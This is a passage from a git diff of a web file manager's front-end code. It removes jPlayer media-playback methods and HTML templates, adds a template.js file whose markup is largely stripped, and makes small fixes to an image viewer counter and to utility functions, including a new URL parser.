video element. For iOS and Android. - if(fs.used.webkitVideo) { - e = this.htmlElement.video; - } - - if(fs.api.fullscreenEnabled) { - fs.api.requestFullscreen(e); - } - }, - _exitFullscreen: function() { - - var fs = $.jPlayer.nativeFeatures.fullscreen, - e; - - // This method needs the video element. For iOS and Android. - if(fs.used.webkitVideo) { - e = this.htmlElement.video; - } - - if(fs.api.fullscreenEnabled) { - fs.api.exitFullscreen(e); - } - }, - _html_initMedia: function(media) { - // Remove any existing track elements - var $media = $(this.htmlElement.media).empty(); - - // Create any track elements given with the media, as an Array of track Objects. - $.each(media.track || [], function(i,v) { - var track = document.createElement('track'); - track.setAttribute("kind", v.kind ? v.kind : ""); - track.setAttribute("src", v.src ? v.src : ""); - track.setAttribute("srclang", v.srclang ? v.srclang : ""); - track.setAttribute("label", v.label ? v.label : ""); - if(v.def) { - track.setAttribute("default", v.def); - } - $media.append(track); - }); - - this.htmlElement.media.src = this.status.src; - - if(this.options.preload !== 'none') { - this._html_load(); // See function for comments - } - this._trigger($.jPlayer.event.timeupdate); // The flash generates this event for its solution. - }, - _html_setFormat: function(media) { - var self = this; - // Always finds a format due to checks in setMedia() - $.each(this.formats, function(priority, format) { - if(self.html.support[format] && media[format]) { - self.status.src = media[format]; - self.status.format[format] = true; - self.status.formatType = format; - return false; - } - }); - }, - _html_setAudio: function(media) { - this._html_setFormat(media); - this.htmlElement.media = this.htmlElement.audio; - this._html_initMedia(media); - }, - _html_setVideo: function(media) { - this._html_setFormat(media); - if(this.status.nativeVideoControls) { - this.htmlElement.video.poster = this._validString(media.poster) ? media.poster : ""; - } - this.htmlElement.media = this.htmlElement.video; - this._html_initMedia(media); - }, - _html_resetMedia: function() { - if(this.htmlElement.media) { - if(this.htmlElement.media.id === this.internal.video.id && !this.status.nativeVideoControls) { - this.internal.video.jq.css({'width':'0px', 'height':'0px'}); - } - this.htmlElement.media.pause(); - } - }, - _html_clearMedia: function() { - if(this.htmlElement.media) { - this.htmlElement.media.src = "about:blank"; - // The following load() is only required for Firefox 3.6 (PowerMacs). - // Recent HTMl5 browsers only require the src change. Due to changes in W3C spec and load() effect. - this.htmlElement.media.load(); // Stops an old, "in progress" download from continuing the download. Triggers the loadstart, error and emptied events, due to the empty src. Also an abort event if a download was in progress. - } - }, - _html_load: function() { - // This function remains to allow the early HTML5 browsers to work, such as Firefox 3.6 - // A change in the W3C spec for the media.load() command means that this is no longer necessary. - // This command should be removed and actually causes minor undesirable effects on some browsers. Such as loading the whole file and not only the metadata. - if(this.status.waitForLoad) { - this.status.waitForLoad = false; - this.htmlElement.media.load(); - } - clearTimeout(this.internal.htmlDlyCmdId); - }, - _html_play: function(time) { - var self = this, - media = this.htmlElement.media; - - this.androidFix.pause = false; // Cancel the pause fix. - - this._html_load(); // Loads if required and clears any delayed commands. - - // Setup the Android Fix. - if(this.androidFix.setMedia) { - this.androidFix.play = true; - this.androidFix.time = time; - - } else if(!isNaN(time)) { - - // Attempt to play it, since iOS has been ignoring commands - if(this.internal.cmdsIgnored) { - media.play(); - } - - try { - // !media.seekable is for old HTML5 browsers, like Firefox 3.6. - // Checking seekable.length is important for iOS6 to work with setMedia().play(time) - if(!media.seekable || typeof media.seekable === "object" && media.seekable.length > 0) { - media.currentTime = time; - media.play(); - } else { - throw 1; - } - } catch(err) { - this.internal.htmlDlyCmdId = setTimeout(function() { - self.play(time); - }, 250); - return; // Cancel execution and wait for the delayed command. - } - } else { - media.play(); - } - this._html_checkWaitForPlay(); - }, - _html_pause: function(time) { - var self = this, - media = this.htmlElement.media; - - this.androidFix.play = false; // Cancel the play fix. - - if(time > 0) { // We do not want the stop() command, which does pause(0), causing a load operation. - this._html_load(); // Loads if required and clears any delayed commands. - } else { - clearTimeout(this.internal.htmlDlyCmdId); - } - - // Order of these commands is important for Safari (Win) and IE9. Pause then change currentTime. - media.pause(); - - // Setup the Android Fix. - if(this.androidFix.setMedia) { - this.androidFix.pause = true; - this.androidFix.time = time; - - } else if(!isNaN(time)) { - try { - if(!media.seekable || typeof media.seekable === "object" && media.seekable.length > 0) { - media.currentTime = time; - } else { - throw 1; - } - } catch(err) { - this.internal.htmlDlyCmdId = setTimeout(function() { - self.pause(time); - }, 250); - return; // Cancel execution and wait for the delayed command. - } - } - if(time > 0) { // Avoids a setMedia() followed by stop() or pause(0) hiding the video play button. - this._html_checkWaitForPlay(); - } - }, - _html_playHead: function(percent) { - var self = this, - media = this.htmlElement.media; - - this._html_load(); // Loads if required and clears any delayed commands. - - // This playHead() method needs a refactor to apply the android fix. - - try { - if(typeof media.seekable === "object" && media.seekable.length > 0) { - media.currentTime = percent * media.seekable.end(media.seekable.length-1) / 100; - } else if(media.duration > 0 && !isNaN(media.duration)) { - media.currentTime = percent * media.duration / 100; - } else { - throw "e"; - } - } catch(err) { - this.internal.htmlDlyCmdId = setTimeout(function() { - self.playHead(percent); - }, 250); - return; // Cancel execution and wait for the delayed command. - } - if(!this.status.waitForLoad) { - this._html_checkWaitForPlay(); - } - }, - _html_checkWaitForPlay: function() { - if(this.status.waitForPlay) { - this.status.waitForPlay = false; - if(this.css.jq.videoPlay.length) { - this.css.jq.videoPlay.hide(); - } - if(this.status.video) { - this.internal.poster.jq.hide(); - this.internal.video.jq.css({'width': this.status.width, 'height': this.status.height}); - } - } - }, - _html_setProperty: function(property, value) { - if(this.html.audio.available) { - this.htmlElement.audio[property] = value; - } - if(this.html.video.available) { - this.htmlElement.video[property] = value; - } - }, - _aurora_setAudio: function(media) { - var self = this; - - // Always finds a format due to checks in setMedia() - $.each(this.formats, function(priority, format) { - if(self.aurora.support[format] && media[format]) { - self.status.src = media[format]; - self.status.format[format] = true; - self.status.formatType = format; - - return false; - } - }); - - this.aurora.player = new AV.Player.fromURL(this.status.src); - this._addAuroraEventListeners(this.aurora.player, this.aurora); - - if(this.options.preload === 'auto') { - this._aurora_load(); - this.status.waitForLoad = false; - } - }, - _aurora_resetMedia: function() { - if (this.aurora.player) { - this.aurora.player.stop(); - } - }, - _aurora_clearMedia: function() { - // Nothing to clear. - }, - _aurora_load: function() { - if(this.status.waitForLoad) { - this.status.waitForLoad = false; - this.aurora.player.preload(); - } - }, - _aurora_play: function(time) { - if (!this.status.waitForLoad) { - if (!isNaN(time)) { - this.aurora.player.seek(time); - } - } - if (!this.aurora.player.playing) { - this.aurora.player.play(); - } - this.status.waitForLoad = false; - this._aurora_checkWaitForPlay(); - - // No event from the player, update UI now. - this._updateButtons(true); - this._trigger($.jPlayer.event.play); - }, - _aurora_pause: function(time) { - if (!isNaN(time)) { - this.aurora.player.seek(time * 1000); - } - this.aurora.player.pause(); - - if(time > 0) { // Avoids a setMedia() followed by stop() or pause(0) hiding the video play button. - this._aurora_checkWaitForPlay(); - } - - // No event from the player, update UI now. - this._updateButtons(false); - this._trigger($.jPlayer.event.pause); - }, - _aurora_playHead: function(percent) { - if(this.aurora.player.duration > 0) { - // The seek() sould be in milliseconds, but the only codec that works with seek (aac.js) uses seconds. - this.aurora.player.seek(percent * this.aurora.player.duration / 100); // Using seconds - } - - if(!this.status.waitForLoad) { - this._aurora_checkWaitForPlay(); - } - }, - _aurora_checkWaitForPlay: function() { - if(this.status.waitForPlay) { - this.status.waitForPlay = false; - } - }, - _aurora_volume: function(v) { - this.aurora.player.volume = v * 100; - }, - _aurora_mute: function(m) { - if (m) { - this.aurora.properties.lastvolume = this.aurora.player.volume; - this.aurora.player.volume = 0; - } else { - this.aurora.player.volume = this.aurora.properties.lastvolume; - } - this.aurora.properties.muted = m; - }, - _flash_setAudio: function(media) { - var self = this; - try { - // Always finds a format due to checks in setMedia() - $.each(this.formats, function(priority, format) { - if(self.flash.support[format] && media[format]) { - switch (format) { - case "m4a" : - case "fla" : - self._getMovie().fl_setAudio_m4a(media[format]); - break; - case "mp3" : - self._getMovie().fl_setAudio_mp3(media[format]); - break; - case "rtmpa": - self._getMovie().fl_setAudio_rtmp(media[format]); - break; - } - self.status.src = media[format]; - self.status.format[format] = true; - self.status.formatType = format; - return false; - } - }); - - if(this.options.preload === 'auto') { - this._flash_load(); - this.status.waitForLoad = false; - } - } catch(err) { this._flashError(err); } - }, - _flash_setVideo: function(media) { - var self = this; - try { - // Always finds a format due to checks in setMedia() - $.each(this.formats, function(priority, format) { - if(self.flash.support[format] && media[format]) { - switch (format) { - case "m4v" : - case "flv" : - self._getMovie().fl_setVideo_m4v(media[format]); - break; - case "rtmpv": - self._getMovie().fl_setVideo_rtmp(media[format]); - break; - } - self.status.src = media[format]; - self.status.format[format] = true; - self.status.formatType = format; - return false; - } - }); - - if(this.options.preload === 'auto') { - this._flash_load(); - this.status.waitForLoad = false; - } - } catch(err) { this._flashError(err); } - }, - _flash_resetMedia: function() { - this.internal.flash.jq.css({'width':'0px', 'height':'0px'}); // Must do via CSS as setting attr() to zero causes a jQuery error in IE. - this._flash_pause(NaN); - }, - _flash_clearMedia: function() { - try { - this._getMovie().fl_clearMedia(); - } catch(err) { this._flashError(err); } - }, - _flash_load: function() { - try { - this._getMovie().fl_load(); - } catch(err) { this._flashError(err); } - this.status.waitForLoad = false; - }, - _flash_play: function(time) { - try { - this._getMovie().fl_play(time); - } catch(err) { this._flashError(err); } - this.status.waitForLoad = false; - this._flash_checkWaitForPlay(); - }, - _flash_pause: function(time) { - try { - this._getMovie().fl_pause(time); - } catch(err) { this._flashError(err); } - if(time > 0) { // Avoids a setMedia() followed by stop() or pause(0) hiding the video play button. - this.status.waitForLoad = false; - this._flash_checkWaitForPlay(); - } - }, - _flash_playHead: function(p) { - try { - this._getMovie().fl_play_head(p); - } catch(err) { this._flashError(err); } - if(!this.status.waitForLoad) { - this._flash_checkWaitForPlay(); - } - }, - _flash_checkWaitForPlay: function() { - if(this.status.waitForPlay) { - this.status.waitForPlay = false; - if(this.css.jq.videoPlay.length) { - this.css.jq.videoPlay.hide(); - } - if(this.status.video) { - this.internal.poster.jq.hide(); - this.internal.flash.jq.css({'width': this.status.width, 'height': this.status.height}); - } - } - }, - _flash_volume: function(v) { - try { - this._getMovie().fl_volume(v); - } catch(err) { this._flashError(err); } - }, - _flash_mute: function(m) { - try { - this._getMovie().fl_mute(m); - } catch(err) { this._flashError(err); } - }, - _getMovie: function() { - return document[this.internal.flash.id]; - }, - _getFlashPluginVersion: function() { - - // _getFlashPluginVersion() code influenced by: - // - FlashReplace 1.01: http://code.google.com/p/flashreplace/ - // - SWFObject 2.2: http://code.google.com/p/swfobject/ - - var version = 0, - flash; - if(window.ActiveXObject) { - try { - flash = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); - if (flash) { // flash will return null when ActiveX is disabled - var v = flash.GetVariable("$version"); - if(v) { - v = v.split(" ")[1].split(","); - version = parseInt(v[0], 10) + "." + parseInt(v[1], 10); - } - } - } catch(e) {} - } - else if(navigator.plugins && navigator.mimeTypes.length > 0) { - flash = navigator.plugins["Shockwave Flash"]; - if(flash) { - version = navigator.plugins["Shockwave Flash"].description.replace(/.*\s(\d+\.\d+).*/, "$1"); - } - } - return version * 1; // Converts to a number - }, - _checkForFlash: function (version) { - var flashOk = false; - if(this._getFlashPluginVersion() >= version) { - flashOk = true; - } - return flashOk; - }, - _validString: function(url) { - return (url && typeof url === "string"); // Empty strings return false - }, - _limitValue: function(value, min, max) { - return (value < min) ? min : ((value > max) ? max : value); - }, - _urlNotSetError: function(context) { - this._error( { - type: $.jPlayer.error.URL_NOT_SET, - context: context, - message: $.jPlayer.errorMsg.URL_NOT_SET, - hint: $.jPlayer.errorHint.URL_NOT_SET - }); - }, - _flashError: function(error) { - var errorType; - if(!this.internal.ready) { - errorType = "FLASH"; - } else { - errorType = "FLASH_DISABLED"; - } - this._error( { - type: $.jPlayer.error[errorType], - context: this.internal.flash.swf, - message: $.jPlayer.errorMsg[errorType] + error.message, - hint: $.jPlayer.errorHint[errorType] - }); - // Allow the audio player to recover if display:none and then shown again, or with position:fixed on Firefox. - // This really only affects audio in a media player, as an audio player could easily move the jPlayer element away from such issues. - this.internal.flash.jq.css({'width':'1px', 'height':'1px'}); - }, - _error: function(error) { - this._trigger($.jPlayer.event.error, error); - if(this.options.errorAlerts) { - this._alert("Error!" + (error.message ? "\n" + error.message : "") + (error.hint ? "\n" + error.hint : "") + "\nContext: " + error.context); - } - }, - _warning: function(warning) { - this._trigger($.jPlayer.event.warning, undefined, warning); - if(this.options.warningAlerts) { - this._alert("Warning!" + (warning.message ? "\n" + warning.message : "") + (warning.hint ? "\n" + warning.hint : "") + "\nContext: " + warning.context); - } - }, - _alert: function(message) { - var msg = "jPlayer " + this.version.script + " : id='" + this.internal.self.id +"' : " + message; - if(!this.options.consoleAlerts) { - alert(msg); - } else if(window.console && window.console.log) { - window.console.log(msg); - } - }, - _emulateHtmlBridge: function() { - var self = this; - - // Emulate methods on jPlayer's DOM element. - $.each( $.jPlayer.emulateMethods.split(/\s+/g), function(i, name) { - self.internal.domNode[name] = function(arg) { - self[name](arg); - }; - - }); - - // Bubble jPlayer events to its DOM element. - $.each($.jPlayer.event, function(eventName,eventType) { - var nativeEvent = true; - $.each( $.jPlayer.reservedEvent.split(/\s+/g), function(i, name) { - if(name === eventName) { - nativeEvent = false; - return false; - } - }); - if(nativeEvent) { - self.element.bind(eventType + ".jPlayer.jPlayerHtml", function() { // With .jPlayer & .jPlayerHtml namespaces. - self._emulateHtmlUpdate(); - var domEvent = document.createEvent("Event"); - domEvent.initEvent(eventName, false, true); - self.internal.domNode.dispatchEvent(domEvent); - }); - } - // The error event would require a special case - }); - - // IE9 has a readyState property on all elements. The document should have it, but all (except media) elements inherit it in IE9. This conflicts with Popcorn, which polls the readyState. - }, - _emulateHtmlUpdate: function() { - var self = this; - - $.each( $.jPlayer.emulateStatus.split(/\s+/g), function(i, name) { - self.internal.domNode[name] = self.status[name]; - }); - $.each( $.jPlayer.emulateOptions.split(/\s+/g), function(i, name) { - self.internal.domNode[name] = self.options[name]; - }); - }, - _destroyHtmlBridge: function() { - var self = this; - - // Bridge event handlers are also removed by destroy() through .jPlayer namespace. - this.element.unbind(".jPlayerHtml"); // Remove all event handlers created by the jPlayer bridge. So you can change the emulateHtml option. - - // Remove the methods and properties - var emulated = $.jPlayer.emulateMethods + " " + $.jPlayer.emulateStatus + " " + $.jPlayer.emulateOptions; - $.each( emulated.split(/\s+/g), function(i, name) { - delete self.internal.domNode[name]; - }); - } - }; - - $.jPlayer.error = { - FLASH: "e_flash", - FLASH_DISABLED: "e_flash_disabled", - NO_SOLUTION: "e_no_solution", - NO_SUPPORT: "e_no_support", - URL: "e_url", - URL_NOT_SET: "e_url_not_set", - VERSION: "e_version" - }; - - $.jPlayer.errorMsg = { - FLASH: "jPlayer's Flash fallback is not configured correctly, or a command was issued before the jPlayer Ready event. Details: ", // Used in: _flashError() - FLASH_DISABLED: "jPlayer's Flash fallback has been disabled by the browser due to the CSS rules you have used. Details: ", // Used in: _flashError() - NO_SOLUTION: "No solution can be found by jPlayer in this browser. Neither HTML nor Flash can be used.", // Used in: _init() - NO_SUPPORT: "It is not possible to play any media format provided in setMedia() on this browser using your current options.", // Used in: setMedia() - URL: "Media URL could not be loaded.", // Used in: jPlayerFlashEvent() and _addHtmlEventListeners() - URL_NOT_SET: "Attempt to issue media playback commands, while no media url is set.", // Used in: load(), play(), pause(), stop() and playHead() - VERSION: "jPlayer " + $.jPlayer.prototype.version.script + " needs Jplayer.swf version " + $.jPlayer.prototype.version.needFlash + " but found " // Used in: jPlayerReady() - }; - - $.jPlayer.errorHint = { - FLASH: "Check your swfPath option and that Jplayer.swf is there.", - FLASH_DISABLED: "Check that you have not display:none; the jPlayer entity or any ancestor.", - NO_SOLUTION: "Review the jPlayer options: support and supplied.", - NO_SUPPORT: "Video or audio formats defined in the supplied option are missing.", - URL: "Check media URL is valid.", - URL_NOT_SET: "Use setMedia() to set the media URL.", - VERSION: "Update jPlayer files." - }; - - $.jPlayer.warning = { - CSS_SELECTOR_COUNT: "e_css_selector_count", - CSS_SELECTOR_METHOD: "e_css_selector_method", - CSS_SELECTOR_STRING: "e_css_selector_string", - OPTION_KEY: "e_option_key" - }; - - $.jPlayer.warningMsg = { - CSS_SELECTOR_COUNT: "The number of css selectors found did not equal one: ", - CSS_SELECTOR_METHOD: "The methodName given in jPlayer('cssSelector') is not a valid jPlayer method.", - CSS_SELECTOR_STRING: "The methodCssSelector given in jPlayer('cssSelector') is not a String or is empty.", - OPTION_KEY: "The option requested in jPlayer('option') is undefined." - }; - - $.jPlayer.warningHint = { - CSS_SELECTOR_COUNT: "Check your css selector and the ancestor.", - CSS_SELECTOR_METHOD: "Check your method name.", - CSS_SELECTOR_STRING: "Check your css selector is a string.", - OPTION_KEY: "Check your option name." - }; -})); diff --git a/static/js/lib/jPlayer/kod.flat/movie.html b/static/js/lib/jPlayer/kod.flat/movie.html deleted file mode 100755 index 40a3537..0000000 --- a/static/js/lib/jPlayer/kod.flat/movie.html +++ /dev/null @@ -1,40 +0,0 @@ -
        -
        -
        -
        - - -
        -
        00:00
        -
        -
        - - -
        -
        - - -
        -
        -
        -
        -
        -
        -
        - - -
        -
        -
        -
        -
        -
        -
        -
        -
        -
        -
        -
        -
        -
        - diff --git a/static/js/lib/jPlayer/kod.flat/music.html b/static/js/lib/jPlayer/kod.flat/music.html deleted file mode 100755 index 30678da..0000000 --- a/static/js/lib/jPlayer/kod.flat/music.html +++ /dev/null @@ -1,52 +0,0 @@ -
        -
        -
        -
        -
        -
        -
        -
        --
        -
        - - - - -
        -
        -
        00:00
        - - -
        - - -
        -
        -
        -
        -
        -
        - - -
        -
        -
        -
        -
        -
        -
        - -
        - - / - - - - - -
        -
        -
        -
          -
          -
          -
          diff --git a/static/js/lib/jPlayer/kod.flat/template.js b/static/js/lib/jPlayer/kod.flat/template.js new file mode 100755 index 0000000..177af10 --- /dev/null +++ b/static/js/lib/jPlayer/kod.flat/template.js @@ -0,0 +1,92 @@ +var jplayerTemplateMovie = +'
          \ +
          \ +
          \ +
          \ + \ + \ +
          \ +
          00:00
          \ +
          \ +
          \ + \ + \ +
          \ +
          \ + \ + \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ + \ + \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          '; + +var jplayerTemplateMusic = +'
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          --
          \ +
          \ + \ + \ + \ + \ +
          \ +
          \ +
          00:00
          \ + \ +
          \ + \ + \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ + \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ +
          \ + \ +
          \ + \ + / \ + \ + \ + \ + \ + \ +
          \ +
          \ +
          \ +
            \ +
            \ +
            \ +
            '; diff --git a/static/js/lib/picasa/picasa.js b/static/js/lib/picasa/picasa.js index 284f5af..7732740 100755 --- a/static/js/lib/picasa/picasa.js +++ b/static/js/lib/picasa/picasa.js @@ -483,7 +483,7 @@ Picasa.prototype = { // 加载图片 loadImage : function() { - $("#PV_Number").html(this.currentNo + "/" +this.arrCount); + $("#PV_Number").html((parseInt(this.currentNo)+1) + "/" +this.arrCount); $('#PV_Items .current').removeClass('current'); $('#PV_Items [number='+this.currentNo+']').addClass('current'); diff --git a/static/js/lib/util.js b/static/js/lib/util.js index 40a7fbf..7b70640 100755 --- a/static/js/lib/util.js +++ b/static/js/lib/util.js @@ -76,7 +76,7 @@ var quoteEncode = function(str){ return str; } var canvasSupport = function() { - return !!document.createElement('canvas').getContext; + return !!document.createElement('canvas').getContext; } var isWap = function(){ if(navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)){ @@ -680,7 +680,8 @@ var Tips = (function(){ }; var tips = function(msg,code){ if (msg && typeof(msg) == 'object'){ - code=msg.code;msg = msg.data; + code = msg.code; + msg = msg.data; } var self = _init(false,msg,code); self.stop(true,true) @@ -694,9 +695,10 @@ var Tips = (function(){ }; var loading = function(msg,code){ if (typeof(msg) == 'object'){ - code=msg.code;msg = msg.data; + code=msg.code; + msg = msg.data; } - if (msg == undefined) msg = 'loading...' + if (msg == undefined) msg = 'loading...'; msg+= "   "; var self = _init(true,msg,code); @@ -708,6 +710,9 @@ var Tips = (function(){ if (typeof(msg) == 'object'){ try{ code=msg.code;msg = msg.data; + if(code && typeof(msg) != 'string'){ + msg = "Success!"; + } }catch(e){ code=0;msg =''; }; @@ -1173,11 +1178,42 @@ var MaskView = (function(){ (function($){ - $.getUrlParam = function(name){ - var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)"); - var r = window.location.search.substr(1).match(reg); - if (r!=null) return unescape(r[2]); return undefined; + $.getUrlParam = function(name,url){ + if(!url) url = window.location.href; + var urlParam = $.parseUrl(url); + return urlParam.params[name];//unescape }; + $.parseUrl = function(url){ + var a = document.createElement('a'); + a.href = url; + return { + source: url, + protocol: a.protocol.replace(':', ''), + host: a.hostname, + port: a.port, + query: a.search, + params: (function() { + var ret = {}, + seg = a.search.replace(/^\?/, '').split('&'), + len = seg.length, + i = 0, + s; + for (; i < len; i++) { + if (!seg[i]) { + continue; + } + s = seg[i].split('='); + ret[s[0]] = s[1]; + } + return ret; + })(), + file: (a.pathname.match(/\/([^\/?#]+)$/i) || [, ''])[1], + hash: a.hash.replace('#', ''), + path: a.pathname.replace(/^([^\/])/, '/$1'), + relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [, ''])[1], + segments: a.pathname.replace(/^\//, '').split('/') + }; + } //选择器,目标含有特殊字符的预处理 //http://stackoverflow.com/questions/2786538/need-to-escape-a-special-character-in-a-jquery-selector-string @@ -1229,7 +1265,7 @@ var MaskView = (function(){ var tab = window.open("","print-preview"); doc.open(); var doc = tab.document; - var paWindow = tab; + var paWindow = tab; }else{ var $iframe = $("